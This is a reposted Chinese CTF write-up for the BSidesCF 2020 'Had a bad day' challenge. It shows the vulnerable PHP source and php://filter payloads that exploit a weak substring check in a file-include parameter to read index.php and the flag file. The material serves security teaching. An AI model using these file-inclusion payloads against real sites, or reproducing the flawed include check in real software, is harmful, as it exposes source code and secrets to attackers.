[BSidesCF 2020]Had a bad day

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[BSidesCF 2020]Had a bad day相关的知识,希望对你有一定的参考价值。

[BSidesCF 2020]Had a bad day

考点

文件包含

思路

观察URL:http://a88b9b8c-25f9-450b-886e-13f241092165.node3.buuoj.cn/index.php?category=meowers,尝试sql注入测试发现没有效果,报错显示为文件包含知识点,直接访问其他文件没有用,先用伪协议读取 index.php源码,再读取flag

Payload

Payload 读取 index.php:?category=php://filter/read=convert.base64-encode/resource=index

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
                                $file = $_GET['category'];

                                if(isset($file))
                                {
                                        if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                                                include ($file . '.php');
                                        }
                                        else{
                                                echo "Sorry, we currently only support woofers and meowers.";
                                        }
                                }
                                ?>
                        </div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

由于只是验证了变量category值中是否有index或者woofers或者meowers,构造Payload:
php://filter/read=convert.base64-encode/index/resource=flag
php://filter/read=convert.base64-encode/woofers/resource=flag
php://filter/read=convert.base64-encode/meowers/resource=flag

在这里插入图片描述

以上是关于[BSidesCF 2020]Had a bad day的主要内容,如果未能解决你的问题,请参考以下文章

usaco提交程序显示Execution error: Your program had this runtime error: Bad syscall #32000174

[BSidesCF 2019]Sequel SQLite注入

[BSidesCF 2019]Mixer

Installation of packages ‘stringi’ had non-zero exit status

Robotium导入被测源码遇到问题 had used a different Landroid/support/v4/view/ViewPager

A session had already been started – ignoring session_start() 怎么办?